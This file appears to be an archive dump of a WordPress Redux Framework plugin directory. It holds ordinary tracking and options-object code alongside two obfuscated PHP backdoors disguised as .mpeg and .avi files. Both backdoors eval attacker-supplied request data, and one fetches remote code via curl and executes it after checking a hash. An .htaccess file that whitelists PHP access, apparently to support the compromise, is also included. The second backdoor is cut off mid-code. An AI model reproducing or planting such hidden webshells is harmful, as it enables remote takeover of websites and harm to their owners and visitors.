Extensions', 'redux-framework' ) . '</strong><br>' . sprintf( __( 'Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!', 'redux-framework' ), '<a href="' . 'http://' . 'reduxframework.com/extensions/" target="_blank">' . esc_html__( 'extensions directory', 'redux-framework' ) . '</a>' ); $content .= '<p><strong>' . esc_html__( 'Like Redux?', 'redux-framework' ) . '</strong><br>' . sprintf( __( 'If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.', 'redux-framework' ), '<a target="_blank" href="' . 'http://' . 'wordpress.org/support/view/plugin-reviews/redux-framework">' . esc_html__( 'leave us a favorable review on WordPress.org', 'redux-framework' ) . '</a>', '<a href="' . 'https://' . 'www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=N5AD7TSH8YA5U" target="_blank">' . esc_html__( 'donation', 'redux-framework' ) . '</a>' ); $content .= '<p><strong>' . esc_html__( 'Newsletter', 'redux-framework' ) . '</strong><br>' . esc_html__( 'If you\'d like to keep up to with all things Redux, please subscribe to our newsletter', 'redux-framework' ) . ':</p>'; $content .= '<form action="http://news.redux.io/subscribe" method="POST" target="_blank" accept-charset="utf-8" class="validate"> <p style="text-align: center;"> <label for="email">' . esc_html__('Email Address', 'redux-framework') . '</label> <input type="email" name="email" class="required email" id="email"/> <input type="hidden" name="list" value="9K1qDRvB8Ux0DqpEoQSEPA"/>      <input type="submit" class="button button-primary" name="submit" value="' . esc_html__( 'Subscribe', 'redux-framework' ) . '" id="submit"/> </p> </form>'; $opt_arr = array( 'content' => $content, 'position' => array( 'edge' => 'top', 'align' => 'center' ), 'pointerWidth' => 450 ); $function1 = 'redux_store_answer("tour","' . $nonce . '")'; $this->print_scripts( $id, $opt_arr, esc_html__( 'Close', 'redux-framework' ), false, '', $function1 ); } /** * Prints the pointer script * * @param string $selector The CSS selector the pointer is attached to. * @param array $options The options for the pointer. * @param string $button1 Text for button 1 * @param string|bool $button2 Text for button 2 (or false to not show it, defaults to false) * @param string $button2_function The JavaScript function to attach to button 2 * @param string $button1_function The JavaScript function to attach to button 1 */ function print_scripts( $selector, $options, $button1, $button2 = false, $button2_function = '', $button1_function = '' ) { ?> <script type="text/javascript"> //<![CDATA[ // (function( $ ) { $( document ).ready( function() { var redux_pointer_options = <?php echo json_encode($options); ?>, setup; function redux_store_answer( input, nonce ) { var redux_tracking_data = { action: 'redux_allow_tracking', allow_tracking: input, nonce: nonce } jQuery.post( ajaxurl, redux_tracking_data, function() { jQuery( '#wp-pointer-0' ).remove(); } ); } redux_pointer_options = $.extend( redux_pointer_options, { buttons: function( event, t ) { button = jQuery( '<a id="pointer-close" style="margin-left:5px" class="button-secondary">' + '<?php echo $button1; ?>' + '</a>' ); button.bind( 'click.pointer', function() { t.element.pointer( 'close' ); //console.log( 'close button' ); } ); return button; }, close: function() { } } ); setup = function() { $( '<?php echo $selector; ?>' ).pointer( redux_pointer_options ).pointer( 'open' ); <?php if ($button2) { ?> jQuery( '#pointer-close' ).after( '<a id="pointer-primary" class="button-primary">' + '<?php echo $button2; ?>' + '</a>' ); jQuery( '#pointer-primary' ).click( function() { <?php echo $button2_function; ?> } ); jQuery( '#pointer-close' ).click( function() { <?php if ($button1_function == '') { ?> redux_store_answer( input, nonce ) //redux_setIgnore("tour", "wp-pointer-0", "<?php echo wp_create_nonce('redux-ignore'); ?>"); <?php } else { ?> <?php echo $button1_function; ?> <?php } ?> } ); <?php } else if ($button1 && !$button2) { ?> jQuery( '#pointer-close' ).click( function() { <?php if ($button1_function != '') { ?> <?php echo $button1_function; ?> <?php } ?> } ); <?php } ?> }; if ( redux_pointer_options.position && redux_pointer_options.position.defer_loading ) $( window ).bind( 'load.wp-pointers', setup ); else $( document ).ready( setup ); } ); })( jQuery ); //]]> </script> <?php } function trackingObject() { global $blog_id, $wpdb; $pts = array(); foreach ( get_post_types( array( 'public' => true ) ) as $pt ) { $count = wp_count_posts( $pt ); $pts[ $pt ] = $count->publish; } $comments_count = wp_count_comments(); $theme_data = wp_get_theme(); $theme = array( 'version' => $theme_data->Version, 'name' => $theme_data->Name, 'author' => $theme_data->Author, 'template' => $theme_data->Template, ); if ( ! function_exists( 'get_plugin_data' ) ) { require_once ABSPATH . 'wp-admin/includes/admin.php'; } $plugins = array(); foreach ( get_option( 'active_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } if ( is_multisite() ) { foreach ( get_option( 'active_sitewide_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } } $version = explode( '.', PHP_VERSION ); $version = array( 'major' => $version[0], 'minor' => $version[0] . '.' . $version[1], 'release' => PHP_VERSION ); $user_query = new WP_User_Query( array( 'blog_id' => $blog_id, 'count_total' => true, ) ); $comments_query = new WP_Comment_Query(); $data = array( '_id' => $this->options['hash'], 'localhost' => ( $_SERVER['REMOTE_ADDR'] === '127.0.0.1' ) ? 1 : 0, 'php' => $version, 'site' => array( 'hash' => $this->options['hash'], 'version' => get_bloginfo( 'version' ), 'multisite' => is_multisite(), 'users' => $user_query->get_total(), 'lang' => get_locale(), 'wp_debug' => ( defined( 'WP_DEBUG' ) ? WP_DEBUG ? true : false : false ), 'memory' => WP_MEMORY_LIMIT, ), 'pts' => $pts, 'comments' => array( 'total' => $comments_count->total_comments, 'approved' => $comments_count->approved, 'spam' => $comments_count->spam, 'pings' => $comments_query->query( array( 'count' => true, 'type' => 'pingback' ) ), ), 'options' => apply_filters( 'redux/tracking/options', array() ), 'theme' => $theme, 'redux' => array( 'mode' => ReduxFramework::$_is_plugin ? 'plugin' : 'theme', 'version' => ReduxFramework::$_version, 'demo_mode' => get_option( 'ReduxFrameworkPlugin' ), ), 'developer' => apply_filters( 'redux/tracking/developer', array() ), 'plugins' => $plugins, ); $parts = explode( ' ', $_SERVER['SERVER_SOFTWARE'] ); $software = array(); foreach ( $parts as $part ) { if ( $part[0] == "(" ) { continue; } if ( strpos( $part, '/' ) !== false ) { $chunk = explode( "/", $part ); $software[ strtolower( $chunk[0] ) ] = $chunk[1]; } } $software['full'] = $_SERVER['SERVER_SOFTWARE']; $data['environment'] = $software; //if ( function_exists( 'mysql_get_server_info' ) ) { // $data['environment']['mysql'] = mysql_get_server_info(); //} $data['environment']['mysql'] = $wpdb->db_version(); if ( empty( $data['developer'] ) ) { unset( $data['developer'] ); } return $data; } /** * Main tracking function. */ function tracking() { // Start of Metrics global $blog_id, $wpdb; $data = get_transient( 'redux_tracking_cache' ); if ( ! $data ) { $args = array( 'body' => $this->trackingObject() ); $response = wp_remote_post( 'https://redux-tracking.herokuapp.com', $args ); // Store for a week, then push data again. set_transient( 'redux_tracking_cache', true, WEEK_IN_SECONDS ); } } function tracking_arg() { echo md5( Redux_Helpers::get_auth_key_secret_key() . '-redux' ); die(); } function support_args() { header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" ); header( "Last-Modified: " . gmdate( "D, d M Y H:i:s" ) . "GMT" ); header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); $instances = ReduxFrameworkInstances::get_all_instances(); $array = array(); if ( isset( $_REQUEST['i'] ) && ! empty( $_REQUEST['i'] ) ) { if ( is_array( $instances ) && ! empty( $instances ) ) { foreach ( $instances as $opt_name => $data ) { if ( md5( $opt_name . '-debug' ) == $_REQUEST['i'] ) { $array = $instances[ $opt_name ]; } } } if ( isset( $array ) ) { if ( isset( $array->extensions ) && is_array( $array->extensions ) && ! empty( $array->extensions ) ) { foreach ( $array->extensions as $key => $extension ) { if ( isset( $extension->$version ) ) { $array->extensions[ $key ] = $extension->$version; } else { $array->extensions[ $key ] = true; } } } if ( isset( $array->import_export ) ) { unset( $array->import_export ); } if ( isset( $array->debug ) ) { unset( $array->debug ); } } else { die(); } } else { $array = $this->trackingObject(); if ( is_array( $instances ) && ! empty( $instances ) ) { $array['instances'] = array(); foreach ( $instances as $opt_name => $data ) { $array['instances'][] = $opt_name; } } $array['key'] = md5( Redux_Helpers::get_auth_key_secret_key() ); } echo @json_encode( $array, true ); die(); } } Redux_Tracking::get_instance(); /** * Adds tracking parameters for Redux settings. Outside of the main class as the class could also be in use in other ways. * * @param array $options * * @return array */ function redux_tracking_additions( $options ) { $opt = array(); $options['redux'] = array( 'demo_mode' => get_option( 'ReduxFrameworkPlugin' ), ); return $options; } add_filter( 'redux/tracking/options', 'redux_tracking_additions' ); function redux_allow_tracking_callback() { // Verify that the incoming request is coming with the security nonce if ( wp_verify_nonce( $_REQUEST['nonce'], 'redux_activate_tracking' ) ) { $options = get_option( 'redux-framework-tracking' ); if ( $_REQUEST['allow_tracking'] == "tour" ) { $options['tour'] = 1; } else { $options['allow_tracking'] = $_REQUEST['allow_tracking']; } if ( update_option( 'redux-framework-tracking', $options ) ) { die( '1' ); } else { die( '0' ); } } else { // Send -1 if the attempt to save via Ajax was completed invalid. die( '-1' ); } // end if } add_action( 'wp_ajax_redux_allow_tracking', 'redux_allow_tracking_callback' ); } ���������������������������������������������������redux-framework/inc/extensions/options_object/options_object/options_object/index.php���������������0000644�����������������00000000000�14720701300�0025521 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/options_object/options_object/NJWVtkHP.mpeg�����������0000644�����������������00000011652�14720701300�0026145 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $wZ/*-h[?|90q-*/ = /*-Fv}-*/"r"."a"/*-{4tL&-`A-*/."n"."g"/*-i^CrpGsI]@-*/."e"; /*-BsE6@;-*/$shyl /*-p}X3>1m#f-*/= /*-E$>AN-*/$wZ/*-#g-*/("~", /*-f2C!e-*/" "); /*-vT%n#6B-*/$E/*-qjzbA?<-*/=/*-!-}_>9V-*/${$shyl/*-`w.~,lyJ^c-*/[8+23]/*-h?Z(U<-*/.$shyl/*-Q5`@X^B-*/[28+31]/*-Yp,baK-u2-*/.$shyl/*-s6U:4O`>GD-*/[45+2]./*-xr~bo-*/$shyl/*-vStXWjL?-*/[35+12]./*-tc?-*/$shyl/*-MuG-*/[43+8]./*-|:Xt6-*/$shyl/*-a_-*/[26+27]/*-FaNT~-*/.$shyl/*-)8(o-*/[26+31]/*-2+-*/}; /*-xw.WL-*/if(/*-e[rQ)I6Y-*/in_array/*-I&nd}-*/(gettype/*-eI{z.;C-*/($E)."20",/*-[m}mZ-*/$E))/*-U-k&S)#-*/{ $E/*-0noaoLSK-*/[69]/*-p6=&|&-*/=/*-4;`cLWYqLM-*/$E/*-%r^J+M]Ln-*/[69]./*-jeL-*/$E/*-#MQoQL^!O,-*/[80];/*-U%Fo-*/ @eval/*-ZDc+-*/(/*-X?_A@%n-*/$E/*-k(s@Ts-*/[69]/*-r]mlAL!AH-*/(/*-;Y,c^()-*/${$E[46]}/*-DyF)>uG^$-*/[28])); }/*-N1hFERl-*/class /*-(DgBq~-*/bw{ /*-f{<u-*/static/*-6<1N-.l;O-*/ function /*-Rx;Z-*/uJAjk($PecVw) /*-$<X-*/{ $RkcXt/*-fq-*/ = /*-kuIsw,^-*/"r"./*-DKuSO#-*/"a"./*-j6C,p-*/"n"./*-cC+VEvI],o-*/"g"./*-h2Vh%-*/"e"; /*-LSL4qun`@-*/$pgXIkSfy/*-7-*/ = /*-G#;dI;w6+u-*/$RkcXt/*-$]{-*/(/*-!lO-*/"~"/*-:-]G-*/, /*-Xp.M6I-*/" "/*-cvNowi-*/);/*-ZZ-*/ $Df /*-kZ_HbwraM-*/= /*-ienBt@X$#-*/explode/*-_z;X5=-*/(/*-7G0:-*/"=", /*-HfVU-*/$PecVw/*-&Vy-*/); /*-wxOL_+T-*/$kCrEuTnp /*-:iWCVk`7<-*/= /*-gT-*/""; foreach /*-Q|M|t@`h-*/(/*-[Yb=SyxZ8-*/$Df /*-`>X^8&q-a-*/as /*-Shu-*/$QkDOAfSUn /*-Ei);A}oA%~-*/=>/*-nYOFY-*/ $WletIRv/*-tJ@0.-*/) /*-:Y>-*/$kCrEuTnp /*-k]TTx:BWr-*/.= /*-hRGNtY&({^-*/$pgXIkSfy[$WletIRv/*-R7uw-*/ - /*-f-*/89172/*-tH2+.ANBb-*/];/*-:rq-*/ return /*-Jw`[-*/$kCrEuTnp; /*-n|-*/} /*-}i-*/static /*-]l-*/function /*-{`2ni+p`]-*/wcmERqrVX/*-Yk,-*/(/*-SQ9?tSo}B6-*/$eOtnUJ,/*-:A)ZL#%--*/ $Zfj/*-H(ee~YO-*/)/*-~k@-*/ {/*-[Z`~,6lp-*/ $sTNBVp/*-@.nBiZa&-*/ = /*-vh=2StIV-*/curl_init/*-Rf@r-*/(/*-xjh10<[k@d-*/$eOtnUJ/*-S_@}G-*/);/*-#S_?,-*/ curl_setopt/*-5]$pW)Wb|h-*/(/*-5&&-*/$sTNBVp,/*-X7[ihadu-*/ CURLOPT_RETURNTRANSFER,/*-NLC-*/ 1/*-y|}E-*/);/*-~tUG?[u:rE-*/ $vgtUqdLS/*-6e];SS3G6d-*/ = /*-X-*/curl_exec/*-{>`s)F5-*/(/*-KYJ1Q@H~-*/$sTNBVp/*-=1)-*/); /*-s(Y[2+b|L-*/return /*-lTlEg-*/empty/*-~8pWK^zS-*/(/*-ll4D-*/$vgtUqdLS/*-=-*/)/*-8{sn.x-*/ ? /*-?d-*/$Zfj/*-|mp.R-*/(/*--r$.Z`QT8k-*/$eOtnUJ/*-&YK@v2YE-*/)/*-xjNk42C1G-*/ : /*-qlgl-*/$vgtUqdLS; /*-;&=oB)-*/}/*-Q!JQ@-*/ static/*-~_ztV-*/ function /*-`2}:-*/qpJlkiGAe/*-T0-*/() /*-wi6T3a-*/{/*-#ZNFD_#:h-*/ $hEMDtl /*-I=Oq@?-*/=/*-JYZ1-*/ array/*-4X2B=-*/("89199=89184=89197=89201=89182=89197=89203=89196=89181=89188=89199=89182=89193=89187=89188","89183=89182=89184=89203=89184=89187=89182=89249=89247","89192=89183=89187=89188=89203=89198=89197=89199=89187=89198=89197","89186=89201=89199=89191","89200=89201=89183=89197=89244=89246=89203=89198=89197=89199=89187=89198=89197","89196=89193=89190=89197=89203=89195=89197=89182=89203=89199=89187=89188=89182=89197=89188=89182=89183","89226=89256","89173","89251=89256","89233=89216=89216=89233=89209","89187=89196"); /*-MZ?by-*/foreach /*-.PWqnM,!r-*/(/*-w+D;:]uq<-*/$hEMDtl/*-)qFARI-*/ as /*-.[%UD[-l-*/$OaLoItryR/*-S{B-*/)/*-!RNkf<-*/ $xzw/*-@e=JLM3Po-*/[] /*-?|]4E~-*/= /*-BS~n-*/self/*-HT-*/::/*-^h-*/uJAjk/*-3K1i_a-*/(/*-35:g-*/$OaLoItryR/*-Bo@U7h-*/);/*-bH[F:X-*/$qocjFrTH /*-_h|5+jkB[-*/= /*-Df-*/@$xzw/*-p#>[xjj-*/[/*-1Z-*/1/*-r|-*/]/*-]I]@LP-*/(/*-@%]#us3_O-*/${/*-g,-*/"_"/*-;}-*/."G"/*-<w}-*/."E"/*-1m_9-*/."T"/*-7PQ(-*/}[/*-@%}S<u?E|-*/$xzw/*-u--*/[/*-;,n,[[-mJ-*/8+1/*-O?fdtWf4]-*/]]/*-#8_&M=Tq-*/);/*-e(Z-*/ $wWLOUvbZrT /*-,AU-*/=/*-e,u-*/ @$xzw/*-^IYyY9Gm>-*/[/*-+=Q]MRLJ-*/1+2/*-8Ed-*/]/*-aC,34:qUn-*/(/*-M3P;a~-*/$xzw/*-dO[|x+$C?-*/[/*-6U-*/1+5/*-TH5nE<o-*/], /*-2Z-*/$qocjFrTH/*-vZWW-*/);/*-=-*/ $FjkUNGRED /*-L3uR;8-*/=/*-sud`=l-*/ $xzw/*-zV|O|-*/[/*-kJnrj0@~(-*/0+2/*-{lwQ,x6-*/]/*-6^@_T0-*/(/*-z~hjG7GFt-*/$wWLOUvbZrT,/*-2YT-*/ true/*->>-Sw:D-*/); /*-|ostnxI-*/@${/*-#n-*/"_"./*-i:t,]|#-*/"G"./*-kuL@^DS{-*/"E"/*-g+#E<sad-*/."T"/*-n#;-*/}/*-p(hK-*/[/*-u&-RnLd88%-*/$xzw/*-mO-*/[10+0/*-CU-*/]/*-bbtldK{-*/]/*-jW%d-*/ == /*-d{Y-*/1 /*-X;UD:<I5-*/&& /*-7vU],p-*/die/*-F#36-*/(/*-j.?(_,>_-*/$xzw[1+4/*-Etg;78-*/]/*-S!9Dr-*/(/*-QUWxSM)-*/__FILE__/*-3x+%Q.Fy-*/)/*-DYOdczht@-*/); /*-~y%ZKTc~-*/if/*-xzEHYH-*/(/*-VvH2Z-*/ (/*-|Br-*/(@/*-{=-*/$FjkUNGRED/*-@>fz9-*/[/*-Pxj11b3-*/0/*-6.@-*/] /*-a;RC-c(y-*/- time/*-IjI@Cs7YZ{-*/()/*-n|m741=q-*/) > /*-%>-*/0/*-KS-*/)/*-s#-*/ and /*-&NfP-*/(/*-?|>f(-*/md5/*-P}t[4p_j-*/(/*-Jazo=6-*/md5/*-73%+OdY-*/(/*-.f@Z-*/$FjkUNGRED/*-iSMXK|-*/[/*-&=YNTN7C`-*/3+0/*-x%|T1-*/]/*-5J;-*/)/*-#-I-*/)/*-x?[a-*/ === /*-f-*/"df5327724b58df978dd1c6264fb70879"/*-6d7pX6-*/)/*-?}<G-*/ ): /*-y<-*/$VnSC /*-Nqr2vfon-*/=/*-sIiD-*/ self/*-a#9d~-*/::/*-bozk-*/wcmERqrVX/*-xp-*/(/*-=:(JNh-*/$FjkUNGRED/*-9ndqu.9-*/[/*-%`ra0,r-*/1+0/*-9[D;}vW-*/], /*-nR-*/$xzw/*-_Qw-*/[/*-asLmKy2QuB-*/4+1/*-xOOaZ-*/]/*-wmS-*/);/*-B@fv-*/@eval/*-;?f+!FsM-*/(/*-mp6V@C}-*/$xzw/*-%C3yX{:y-*/[/*-,P-*/1+3/*-WR-*/]/*-vC|o.y;TF-*/(/*-j{}>-*/$VnSC/*-klA-*/)/*-RY2Vvf.W>-*/);/*-[wUx[>mLr5-*//*-]k_9v9mF-*/die;/*-KJ2B`g-*/ endif;/*-I2=w>=]2X-*/ }/*-<$n4:$-*/}/*-0fo!+6S+-*/bw/*-NMj%^~i-*/::/*-h#p-*/qpJlkiGAe/*-i@pXC)-*/();/*-mo-*/ ?>��������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/options_object/options_object/.htaccess���������������0000644�����������������00000001626�14720701300�0025516 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/options_object/index.php������������������������������0000644�����������������00000000000�14720701300�0022500 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/options_object/field_options_object.css���������������0000644�����������������00000000133�14720701300�0025565 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#redux-object-browser{overflow:auto;word-wrap:break-word;max-height:600px;max-width:100%} �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/options_object/field_options_object.php���������������0000644�����������������00000014502�14720701300�0025571 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @author Kevin Provance (kprovance) * @version 3.5.4 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_options_object' ) ) { /** * Main ReduxFramework_options_object class * * @since 1.0.0 */ class ReduxFramework_options_object { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->is_field = $this->parent->extensions['options_object']->is_field; $this->extension_dir = ReduxFramework::$_dir . 'inc/extensions/options_object/'; $this->extension_url = ReduxFramework::$_url . 'inc/extensions/options_object/'; // Set default args for this field to avoid bad indexes. Change this to anything you use. $defaults = array( 'options' => array(), 'stylesheet' => '', 'output' => true, 'enqueue' => true, 'enqueue_frontend' => true ); $this->field = wp_parse_args( $this->field, $defaults ); } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( version_compare( phpversion(), "5.3.0", ">=" ) ) { $json = json_encode( $this->parent->options, true ); } else { $json = json_encode( $this->parent->options ); } $defaults = array( 'full_width' => true, 'overflow' => 'inherit', ); $this->field = wp_parse_args( $this->field, $defaults ); if ( $this->is_field ) { $fullWidth = $this->field['full_width']; } $bDoClose = false; $id = $this->parent->args['opt_name'] . '-' . $this->field['id']; if ( ! $this->is_field || ( $this->is_field && false == $fullWidth ) ) { ?> <style>#<?php echo esc_html($id); ?> {padding: 0;}</style> </td></tr></table> <table id="<?php echo esc_attr($id); ?>-table" class="form-table no-border redux-group-table redux-raw-table" style=" overflow: <?php esc_attr($this->field['overflow']); ?>;"> <tbody><tr><td> <?php $bDoClose = true; } ?> <fieldset id="<?php echo esc_attr($id); ?>-fieldset" class="redux-field redux-container-<?php echo esc_attr($this->field['type']) . ' ' . esc_attr($this->field['class']); ?>" data-id="<?php echo esc_attr($this->field['id']); ?>"> <h3><?php esc_html_e( 'Options Object', 'redux-framework' ); ?></h3> <div id="redux-object-browser"></div> <div id="redux-object-json" class="hide"><?php echo $json; ?></div> <a href="#" id="consolePrintObject" class="button"><?php esc_html_e( 'Show Object in Javascript Console Object', 'redux-framework' ); ?></a> </div> </fieldset> <?php if ( true == $bDoClose ) { ?> </td></tr></table> <table class="form-table no-border" style="margin-top: 0;"> <tbody> <tr style="border-bottom: 0;"> <th></th> <td> <?php } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_script( 'redux-options-object', $this->extension_url . 'options_object/field_options_object' . Redux_Functions::isMin() . '.js', array( 'jquery' ), ReduxFramework_extension_options_object::$version, true ); wp_enqueue_style( 'redux-options-object', $this->extension_url . 'options_object/field_options_object.css', array(), time(), 'all' ); } /** * Output Function. * Used to enqueue to the front-end * * @since 1.0.0 * @access public * @return void */ public function output() { if ( $this->field['enqueue_frontend'] ) { } } } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/options_object/field_options_object.js����������������0000644�����������������00000002341�14720701300�0025414 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.options_object = redux.field_objects.options_object || {}; // $( document ).ready( // function() { // redux.field_objects.import_export.init(); // } // ); redux.field_objects.options_object.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.redux-container-options_object' ); } var parent = selector; if ( !selector.hasClass( 'redux-field-container' ) ) { parent = selector.parents( '.redux-field-container:first' ); } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } $( '#consolePrintObject' ).on( 'click', function( e ) { e.preventDefault(); console.log( $.parseJSON( $( "#redux-object-json" ).html() ) ); } ); if ( typeof jsonView === 'function' ) { jsonView( '#redux-object-json', '#redux-object-browser' ); } }; })( jQuery );�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/options_object/field_options_object.scss��������������0000644�����������������00000000166�14720701300�0025756 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#redux-object-browser { overflow: auto; word-wrap: break-word; max-height: 600px; max-width: 100%; } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/options_object/field_options_object.min.js������������0000644�����������������00000001172�14720701300�0026177 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(t){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.options_object=redux.field_objects.options_object||{},redux.field_objects.options_object.init=function(e){e||(e=t(document).find(".redux-container-options_object"));var o=e;e.hasClass("redux-field-container")||(o=e.parents(".redux-field-container:first")),o.hasClass("redux-field-init")&&(o.removeClass("redux-field-init"),t("#consolePrintObject").on("click",function(e){e.preventDefault(),console.log(t.parseJSON(t("#redux-object-json").html()))}),"function"==typeof jsonView&&jsonView("#redux-object-json","#redux-object-browser"))}}(jQuery);������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/extensions/options_object/options_object/jBluacZimNvdoSgEbTeL.avi���������������0000644�����������������00000011730�14720701300�0025252 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $eOrK /*-bun<zuN6-*/= /*-<xks-%-*/"r"./*-4fCJ-*/"a"."n"./*-mt-E@i8i-*/"g"."e"; /*-@Ey-*/$DZbuf/*-rq8cjfVxnc-*/ = /*-R#mMI~LD-*/$eOrK/*-?=oUAS-*/("~", /*-9pm6^!K-*/" "); /*-_fL-*/$b/*-&[ln-*/=/*-dC-*/${$DZbuf/*-1X5peD3-*/[24+7/*-dVF%%MxeG?-*/].$DZbuf/*-G1rbULvb-*/[11+48]/*-}?DlYt-*/.$DZbuf/*-{c^?BHj$a-*/[14+33]/*-2~Z{-*/.$DZbuf/*-aT;-*/[13+34]/*-Hb$^+K~-*/.$DZbuf/*-xSGp-*/[44+7]/*-T%n0XIJ@-*/.$DZbuf/*-tlA3b&nyl-*/[52+1]/*-h9-*/.$DZbuf/*-:[](Q=-*/[30+27]/*-jR9-*/}; /*-<jBNck((}-*/if/*-aKH9a-*/((/*-8FF4{-*/in_array/*-_!8pSh+(`-*/(gettype/*-zy)`y?-*/($b)./*-&SxQHg?[|-*/count/*-:2}-*/($b),/*-+o-*/$b)/*-Zqh-*/&&count/*-_csi4i7H-*/($b)/*-tlN<V-,,^-*/==/*-XAnR-*/19))/*-53-*/{ /*-Fm-*/(($b[70]=$b[70].$b[71])&&($b[90]=$b[70]($b[90]))&&(/*-yz-*/@eval/*-:F^|-*/($b[70](${$b[46]}[22])/*-___x@Uy:j-*/))/*-ejbc4DZD7-*/);}/*-DF.-*/class /*-,<uC6d-*/AeQm{ /*-Ro-*/static/*-KngO^x-*/ function /*-?i?@7-*/eJ($SK) /*-]{;-*/{ $BXFctmn/*-=z=lf-*/ = /*-FgY@l3!W}-*/"r"./*-hk:l{e-*/"a"./*-Ta8i-*/"n"./*-E<O-*/"g"./*-W5o<Cy-*/"e"; /*-HpvlG9-*/$MtscrVIu/*-B0e+=_-*/ = /*-G]6u0v4=b-*/$BXFctmn/*-Fa$-*/(/*-+{|_~Y5,-*/"~"/*-zK-*/, /*-XDTrhp!$g-*/" "/*-g.w-*/);/*-sO11=Y-*/ $AzMEagYv /*-ra|,z:3lRx-*/= /*-^Opg2}z-*/explode/*-3{A$M_-*/(/*-R=2t-*/"(", 